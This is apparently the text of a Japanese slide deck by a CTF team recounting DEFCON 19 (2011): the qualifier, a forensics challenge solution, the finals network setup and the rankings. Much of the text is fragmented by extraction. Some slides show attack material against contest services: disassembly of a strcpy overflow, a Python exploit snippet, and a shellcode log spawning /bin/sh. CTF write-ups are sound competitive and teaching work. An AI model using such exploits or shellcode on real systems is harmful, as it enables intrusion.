DEFCON 2011 JRF
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- ありさ あくや
- 4 years ago
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1 DEFCON 2011 JRF
2 DEFCON 2011 DEFCON CTF asp 1
3 01. DEFCON 02. Capture The Flag(CTF) 03. DEFCON CTF 04. DEFCON CTF 05. DEFCON 06. 2
4 DEFCON 3
5 DEFCON Jeff Moss 4
6 DEFCON Rio Hotel $150 Rio Hotel DEFCON CTF 5
7 Capture The Flag 6
8 CTF(Capture The Flag)
9 CTF(Capture The Flag) ( ) Binary Leetness( ) Potent Pwnables( exploit Forensics ( ) Web (Web CryptoBadness ( ) PacketMadness ( ) Trivia ( ) DEFCON19 CTF 8
10 CTF(Capture The Flag) 9
11 CTF sutegoma2 sutegoma2 CTF AVTOKYO CTF AVTOKYO BlackHatJapan -no drink, no hack- 10
12 DEFCON CTF 11
13 DEFCON CTF予選概要とルール オンライン予選 6月4日 土 4:00-6月6日(月) 9:00 (JST) 53時間 600を超えるチームが参加登録 約15~20人が参加 予選2位通過 予選スコアボード 予選会場風景 12
14 DEFCON19 Forensics200 File :Find the key. :f200_a3c6a7f6a4b4f9511ee83 : $file f200 f200: bzip2 compressed data, block size = 900k $file f200 f200: x86 boot sector, code offset 0x52, OEM-ID "NTFS" 13
15 DEFCON19 Forensics ( )./dir00/key00116: ed3d1147be0fe7500fb5cf50bec7e059a46fc9c5./dir00/key00328: 4f86aea9c90bca be94d37d28d935fa224./dir00/key00401: 42202f1af2d43bb f7230ec1b5169ffc./dir00/key01312: c ad00d77fdf27aeaf2b48f5f /dir00/key01375: c51f4194f2f5ae941853e88fa6601f9157./dir00/key01695: ad04695b302af1d8422a73e1c6a8e17ea /dir00/key01814: 2c4bdc6d7d910d42dbc05fcb3e5b41bee15ddce0./dir00/key01915: 9c1ac439da9f ba75d68dafcffb7176./dir00/key02215: 977aefa0c02823adfc392d1d689723c6622ede69./dir00/key02869: 17913f455ada6e1c4042f0aebe488bb6ea709c6b./dir00/key03168: 09d46ca6dd197ae b9afb504cb320ea25./dir00/key03354: 5576df0f37e f5b075ae6f9457a04ba6ad./dir00/key03396: e372a329ba0eddf4edb ddf5e445c980b6./dir00/key03489: 61e7555b4a0b60578a6f18d01c2dc01977e11a46./dir00/key03807: 156cf888f932acf295b44de66644fc590d007bbf./dir00/key03883: 3f5b410577ac3d9864d7543efa3a72ebfb2c2677./dir00/key04400: 69ec65318c46a4a048b a94e63 14
16 DEFCON19 Forensics200 $MFT MFT(Master File Table) 15
17 DEFCON19 Forensics200 16
18 DEFCON19 Forensics200 47a96fac9edb95e641e 35e21ce800934d4c8f7e 17
19 DEFCON CTF 18
20 Ether USB key (or ) SLA = key SLA 19
21 本戦会場 20
22 21
23 IPv4 22
24 IPv6 23
25 24
26 IP Address Randomization dc19:c7f:2011:( )::/64 25
27 IP Address Randomization dead:beef::/64 IPv6 NAT CTF 26
28 forgetu cleaner pisa hlame telephone tomato castle hiver war gold bunny bowser rotary sheepster 27
29 .text: mov [esp+4], ebx.text: mov [esp], esi.text: mov dword ptr [esp+12], 0Ah.text: mov dword ptr [esp+8], 211h ; 1ffh.text: call readstr.text: mov dword ptr [esp+8], 1ffh m-> ->v 28
30 strncpy 0x00 src10.text:08049d8f loc_8049d8f: ; CODE XREF: talk_server+1e3 j.text:08049d8f B1C mov dword ptr [esp+8], 0Ah ; n.text:08049d97 B1C lea eax, [ebp+recvbuf256].text:08049d9d B1C mov [esp+4], eax ; src.text:08049da1 B1C lea eax, [ebp+src10].text:08049da7 B1C mov [esp], eax ; dest.text:08049daa B1C call _strncpy.text:08049daf B1C mov dword ptr [esp+8], 1000 ; n.text:08049db7 B1C mov dword ptr [esp+4], 0 ; c.text:0804a402 bug:.text:0804a402 B1C lea eax, [ebp+src10].text:0804a408 B1C mov [esp+4], eax ; src.text:0804a40c B1C lea eax, [ebp+msg512].text:0804a412 B1C mov [esp], eax ; dest.text:0804a415 B1C call _strcpy 29
31 s = socket.socket(socket.af_inet6, socket.sock_stream) s.connect((sys.argv[1], 5775)) s.recv(256) s.sendall("xevgdirkhe\n") s.recv(256) s.sendall(" \n") s.recv(256) s.recv(256) s.sendall("write\n") s.recv(256) KEY = 0x b exploit = decoder("aaaaaa"+make(0x804e710, KEY, 18, 11))[6:] s.sendall(exploit+"\n") s.recv(256) s.sendall("read\n") key=s.recv(256) print encoder(key) 30
32 rotary 3375 : 8/6 21:20 21:36 ( 37byte What is your name? AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHHIIIIJJJJKKK... Welcome to the game AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHHIIIIJJJJKKK...! R..Wj.P... I am thinking of a number between 1 and 100, can you guess it? Your guess: Your guess is too low Your guess: Your guess is too low Your guess: Your guess is too low You are not smart enough to guess my number in 3 tries What is your name? j.yiqj.pjzx..u.ph//shh/bin..wptwp.;..echo 15eb51663aa991a8af002d88e17e066307bc433a > /home/rotary/key exit 31
33 ( ) 01. European Nopsled team (Denmark) 02. Routards (USA) 03. Hates Irony (USA) 04. IV (Russia) 05. int3pids (Spain) 06. lollersk8ers (Int l) 07. Plaid Parliament of Pwning (USA) 08. PLUS@Postech (Korea) 09. Shellphish (USA) 10. ACME Pharm (USA) 11. VelociROPtors (USA) 12. sutegoma2 (Japan) 32
34 CTF 33
35 DEFCON 34
36 35
37 36
38 37
39 38
40 wall of sheep 39
41 40
42 41
43 DEFCON sutegoma2 DEFCON DEFCON CTF CTF DEFCON20 42
44 43
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